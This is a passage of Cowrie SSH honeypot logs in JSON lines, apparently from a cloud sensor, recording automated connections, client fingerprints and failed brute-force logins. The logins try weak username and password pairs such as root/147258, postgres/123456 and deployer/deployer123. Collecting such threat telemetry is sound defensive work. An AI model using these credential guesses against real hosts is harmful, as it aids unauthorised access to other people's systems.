0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:53.722078Z","src_ip":"91.92.42.227","session":"3887d0f4ab49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:56.004085Z","src_ip":"91.92.42.227","session":"3887d0f4ab49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:57.601626Z","src_ip":"91.92.42.227","session":"3887d0f4ab49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53430,"dst_ip":"10.17.0.5","dst_port":22,"session":"b136c1da9b93","protocol":"ssh","message":"New connection: 91.92.42.227:53430 (10.17.0.5:22) [session: b136c1da9b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:00.913651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:01.452191Z","src_ip":"91.92.42.227","session":"b136c1da9b93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:01.455070Z","src_ip":"91.92.42.227","session":"b136c1da9b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:03.999059Z","src_ip":"91.92.42.227","session":"b136c1da9b93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:05.826136Z","src_ip":"91.92.42.227","session":"b136c1da9b93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46370,"dst_ip":"10.17.0.5","dst_port":22,"session":"c16d99077feb","protocol":"ssh","message":"New connection: 91.92.42.227:46370 (10.17.0.5:22) [session: c16d99077feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:08.720789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:09.038775Z","src_ip":"91.92.42.227","session":"c16d99077feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:09.042127Z","src_ip":"91.92.42.227","session":"c16d99077feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123","message":"login attempt [claude/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:10.644780Z","src_ip":"91.92.42.227","session":"c16d99077feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:12.107573Z","src_ip":"91.92.42.227","session":"c16d99077feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48882,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b75cb2f73f5","protocol":"ssh","message":"New connection: 80.94.92.184:48882 (159.203.135.109:22) [session: 1b75cb2f73f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:15.078724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:15.196848Z","src_ip":"80.94.92.184","session":"1b75cb2f73f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:15.518660Z","src_ip":"80.94.92.184","session":"1b75cb2f73f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51464,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f29d1c0432d","protocol":"ssh","message":"New connection: 91.92.42.227:51464 (10.17.0.5:22) [session: 6f29d1c0432d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:15.790788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:16.415077Z","src_ip":"91.92.42.227","session":"6f29d1c0432d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:16.419225Z","src_ip":"91.92.42.227","session":"6f29d1c0432d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:17.210484Z","src_ip":"80.94.92.184","session":"1b75cb2f73f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:18.496701Z","src_ip":"80.94.92.184","session":"1b75cb2f73f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:19.494310Z","src_ip":"91.92.42.227","session":"6f29d1c0432d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:21.450032Z","src_ip":"91.92.42.227","session":"6f29d1c0432d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51518,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ecaced3795f","protocol":"ssh","message":"New connection: 91.92.42.227:51518 (10.17.0.5:22) [session: 5ecaced3795f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:22.719752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:23.438150Z","src_ip":"91.92.42.227","session":"5ecaced3795f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:23.441418Z","src_ip":"91.92.42.227","session":"5ecaced3795f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:27.722931Z","src_ip":"91.92.42.227","session":"5ecaced3795f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:29.588672Z","src_ip":"91.92.42.227","session":"5ecaced3795f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53084,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba5ccbf7aad1","protocol":"ssh","message":"New connection: 91.92.42.227:53084 (10.17.0.5:22) [session: ba5ccbf7aad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:29.673895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:30.460063Z","src_ip":"91.92.42.227","session":"ba5ccbf7aad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:30.463874Z","src_ip":"91.92.42.227","session":"ba5ccbf7aad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"rock","message":"login attempt [media/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:35.319100Z","src_ip":"91.92.42.227","session":"ba5ccbf7aad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40626,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8aad4ff627d","protocol":"ssh","message":"New connection: 91.92.42.227:40626 (10.17.0.5:22) [session: c8aad4ff627d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:36.920509Z"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:37.933668Z","src_ip":"91.92.42.227","session":"ba5ccbf7aad1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:38.351750Z","src_ip":"91.92.42.227","session":"c8aad4ff627d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:38.355537Z","src_ip":"91.92.42.227","session":"c8aad4ff627d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:40.173032Z","src_ip":"176.32.39.21","session":"510f512c364d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:40.789875Z","src_ip":"91.92.42.227","session":"c8aad4ff627d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:42.210937Z","src_ip":"91.92.42.227","session":"c8aad4ff627d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":35985,"dst_ip":"159.203.135.109","dst_port":22,"session":"50aa2c0bc859","protocol":"ssh","message":"New connection: 178.20.210.208:35985 (159.203.135.109:22) [session: 50aa2c0bc859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:44.177247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:44.187699Z","src_ip":"178.20.210.208","session":"50aa2c0bc859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:44.274300Z","src_ip":"178.20.210.208","session":"50aa2c0bc859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwerty","message":"login attempt [git/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:09:44.732126Z","src_ip":"178.20.210.208","session":"50aa2c0bc859","protocol":"ssh"}
